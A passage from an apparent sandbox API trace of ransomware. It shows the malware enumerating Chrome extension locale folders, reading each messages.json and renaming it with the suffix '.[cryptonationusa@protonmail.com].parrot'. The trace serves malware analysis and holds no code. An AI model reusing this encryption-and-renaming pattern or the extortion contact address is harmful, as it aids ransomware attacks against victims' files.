Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.784] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.784] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.784] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.784] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.784] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.796] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x244, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.797] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.797] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.797] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.798] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12c, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x12c, lpOverlapped=0x0) returned 1 [0071.798] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.798] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x244, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.798] CloseHandle (hObject=0x28c) returned 1 [0071.798] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.805] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.805] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8472800, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8472800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.805] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8472800, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.806] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.806] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.806] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.806] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.806] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.806] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.806] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e3, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.806] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.806] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.808] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.808] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xcb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xcb, lpOverlapped=0x0) returned 1 [0071.808] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.808] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.808] CloseHandle (hObject=0x28c) returned 1 [0071.808] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.810] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.810] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8498960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.810] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.811] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.811] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2e100, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f2e100, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.811] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.811] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.811] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x20b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.811] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x323, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.811] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.811] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.812] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.812] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x20b, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x20b, lpOverlapped=0x0) returned 1 [0071.813] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.813] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x323, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.813] CloseHandle (hObject=0x28c) returned 1 [0071.813] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.815] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.815] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8498960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.815] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f2f870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.815] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.818] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.818] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.818] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c9, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.818] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.818] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.819] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.819] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb1, lpOverlapped=0x0) returned 1 [0071.819] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.820] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c9, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.820] CloseHandle (hObject=0x28c) returned 1 [0071.820] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.822] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.822] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f2e100, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8498960, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.822] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8498960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.822] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.822] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.822] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f54260, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.822] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.822] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.822] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f54260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f54260, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.823] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ae, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.823] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.823] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.824] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.824] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x96, lpOverlapped=0x0) returned 1 [0071.824] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.824] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ae, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.824] CloseHandle (hObject=0x28c) returned 1 [0071.824] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, 